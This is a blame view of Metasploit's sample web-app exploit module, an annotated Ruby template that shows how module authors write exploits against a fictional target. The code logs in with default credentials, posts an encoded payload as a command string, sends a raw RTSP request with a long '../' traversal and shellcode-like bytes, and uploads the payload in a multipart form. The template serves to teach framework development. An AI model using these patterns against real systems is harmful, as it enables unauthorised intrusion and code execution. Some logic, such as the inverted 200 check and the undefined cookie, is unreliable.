Files
metasploit-gs/modules/exploits/example_webapp.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

190 lines
7.8 KiB
Ruby
Raw Normal View History

2019-11-29 06:54:34 -05:00
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
###
#
# This exploit sample shows how an exploit module could be written to exploit
# a bug in an arbitrary web server
#
###
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html
2019-11-29 06:54:34 -05:00
#
# This exploit affects a webapp, so we need to import HTTP Client
# to easily interact with it.
#
include Msf::Exploit::Remote::HttpClient
2021-11-15 14:56:25 -06:00
# There are libraries for several CMSes such as WordPress, Typo3,
# SharePoint, Nagios XI, Moodle, Joomla, JBoss, and Drupal.
#
2021-11-15 14:56:25 -06:00
# The following import just includes the code for the WordPress library,
# however you can find other similar libraries at
2021-11-13 04:33:24 -05:00
# https://github.com/rapid7/metasploit-framework/tree/master/lib/msf/core/exploit/remote/http
2021-11-15 15:16:08 -05:00
include Msf::Exploit::Remote::HTTP::Wordpress
2021-11-13 04:33:24 -05:00
2019-11-29 06:54:34 -05:00
def initialize(info = {})
super(
update_info(
info,
# The Name should be just like the line of a Git commit - software name,
2019-12-10 09:32:34 -05:00
# vuln type, class. Preferably apply
2019-11-29 06:54:34 -05:00
# some search optimization so people can actually find the module.
# We encourage consistency between module name and file name.
2021-11-13 04:33:24 -05:00
'Name' => 'Sample Webapp Exploit',
'Description' => %q{
This exploit module illustrates how a vulnerability could be exploited
2019-11-29 06:54:34 -05:00
in a webapp.
2021-11-13 04:33:24 -05:00
},
'License' => MSF_LICENSE,
2019-12-05 14:47:29 -05:00
# The place to add your name/handle and email. Twitter and other contact info isn't handled here.
# Add reference to additional authors, like those creating original proof of concepts or
# reference materials.
# It is also common to comment in who did what (PoC vs metasploit module, etc)
2021-11-13 04:33:24 -05:00
'Author' => [
'h00die <mike@stcyrsecurity.com>', # msf module
'researcher' # original PoC, analysis
],
'References' => [
[ 'OSVDB', '12345' ],
[ 'EDB', '12345' ],
[ 'URL', 'http://www.example.com'],
[ 'CVE', '1978-1234']
],
2019-12-05 14:47:29 -05:00
# platform refers to the type of platform. For webapps, this is typically the language of the webapp.
# js, php, python, nodejs are common, this will effect what payloads can be matched for the exploit.
# A full list is available in lib/msf/core/payload/uuid.rb
2021-11-13 04:33:24 -05:00
'Platform' => ['python'],
2019-12-05 14:47:29 -05:00
# from lib/msf/core/module/privileged, denotes if this requires or gives privileged access
2021-11-13 04:33:24 -05:00
'Privileged' => false,
2019-12-05 14:47:29 -05:00
# from underlying architecture of the system. typically ARCH_X64 or ARCH_X86, but for webapps typically
# this is the application language. ARCH_PYTHON, ARCH_PHP, ARCH_JAVA are some examples
# A full list is available in lib/msf/core/payload/uuid.rb
2021-11-13 04:33:24 -05:00
'Arch' => ARCH_PYTHON,
'Targets' => [
[ 'Automatic Target', {}]
],
2023-05-07 13:02:30 -04:00
'DisclosureDate' => '2023-12-30',
2019-12-05 14:47:29 -05:00
# Note that DefaultTarget refers to the index of an item in Targets, rather than name.
# It's generally easiest just to put the default at the beginning of the list and skip this
2019-11-29 06:54:34 -05:00
# entirely.
2021-11-13 04:33:24 -05:00
'DefaultTarget' => 0,
# https://docs.metasploit.com/docs/development/developing-modules/module-metadata/definition-of-module-reliability-side-effects-and-stability.html
2021-11-13 04:33:24 -05:00
'Notes' => {
'Stability' => [],
'Reliability' => [],
'SideEffects' => []
}
2019-11-29 06:54:34 -05:00
)
)
# set the default port, and a URI that a user can set if the app isn't installed to the root
register_options(
[
Opt::RPORT(80),
OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
OptString.new('PASSWORD', [ false, 'Password to login with', '123456']),
OptString.new('TARGETURI', [ true, 'The URI of the Example Application', '/example/'])
2021-11-13 04:33:24 -05:00
]
2019-11-29 06:54:34 -05:00
)
end
#
# The sample exploit checks the index page to verify the version number is exploitable
# we use a regex for the version number
#
def check
# only catch the response if we're going to use it, in this case we do for the version
# detection.
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'GET'
)
# gracefully handle if res comes back as nil, since we're not guaranteed a response
# also handle if we get an unexpected HTTP response code
return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
return CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code == 200
2019-11-29 06:54:34 -05:00
# here we're looking through html for the version string, similar to:
# Version 1.2
%r{Version: (?<version>\d{1,2}\.\d{1,2})</td>} =~ res.body
2019-11-29 06:54:34 -05:00
if version && Rex::Version.new(version) <= Rex::Version.new('1.3')
2023-05-07 13:02:30 -04:00
CheckCode::Appears("Version Detected: #{version}")
2019-11-29 06:54:34 -05:00
end
2021-11-13 04:33:24 -05:00
CheckCode::Safe
2019-11-29 06:54:34 -05:00
end
#
# The exploit method attempts a login, then attempts to throw a command execution
# at a web page through a POST variable
#
def exploit
2021-11-13 04:33:24 -05:00
# attempt a login. In this case we show basic auth, and a POST to a fake username/password
# simply to show how both are done
vprint_status('Attempting login')
# since we will check res to see if auth was a success, make sure to capture the return
res = send_request_cgi(
2023-05-07 13:02:30 -04:00
'uri' => normalize_uri(target_uri.path, 'login.php'),
2021-11-13 04:33:24 -05:00
'method' => 'POST',
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
# automatically handle cookies with keep_cookies. Alternatively use cookie = res.get_cookies and 'cookie' => cookie,
2022-10-03 19:50:04 -04:00
'keep_cookies' => true,
2021-11-13 04:33:24 -05:00
'vars_post' => {
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
},
'vars_get' => {
'example' => 'example'
}
)
2019-11-29 06:54:34 -05:00
2021-11-13 04:33:24 -05:00
# a valid login will give us a 301 redirect to /home.html so check that.
# ALWAYS assume res could be nil and check it first!!!!!
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") unless res.code == 301
2019-11-29 06:54:34 -05:00
2021-11-13 04:33:24 -05:00
# we don't care what the response is, so don't bother saving it from send_request_cgi
2021-11-13 04:46:38 -05:00
# datastore['HttpClientTimeout'] ONLY IF we need a longer HTTP timeout
2021-11-13 04:33:24 -05:00
vprint_status('Attempting exploit')
2021-11-13 04:46:38 -05:00
send_request_cgi({
2021-11-13 04:33:24 -05:00
'uri' => normalize_uri(target_uri.path, 'command.html'),
'method' => 'POST',
'vars_post' =>
{
'cmd_str' => payload.encoded
}
2021-11-13 04:46:38 -05:00
}, datastore['HttpClientTimeout'])
2019-11-29 06:54:34 -05:00
2021-11-15 15:16:08 -05:00
# send_request_raw is used when we need to break away from the HTTP protocol in some way for the exploit to work
2021-11-13 04:33:24 -05:00
send_request_raw({
'method' => 'DESCRIBE',
'proto' => 'RTSP',
'version' => '1.0',
'uri' => '/' + ('../' * 560) + "\xcc\xcc\x90\x90" + '.smi'
2021-11-13 04:46:38 -05:00
}, datastore['HttpClientTimeout'])
2023-05-07 13:02:30 -04:00
# example of sending a MIME message
data = Rex::MIME::Message.new
# https://github.com/rapid7/rex-mime/blob/master/lib/rex/mime/message.rb
2023-05-08 15:25:31 -04:00
file_contents = payload.encoded
data.add_part(file_contents, 'application/octet-stream', 'binary', "form-data; name=\"file\"; filename=\"uploaded.bin\"")
2023-05-07 13:02:30 -04:00
data.add_part('example', nil, nil, "form-data; name=\"_wpnonce\"")
post_data = data.to_s
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'async-upload.php'),
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data,
'cookie' => cookie
)
2021-11-13 04:33:24 -05:00
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
2019-11-29 06:54:34 -05:00
end
end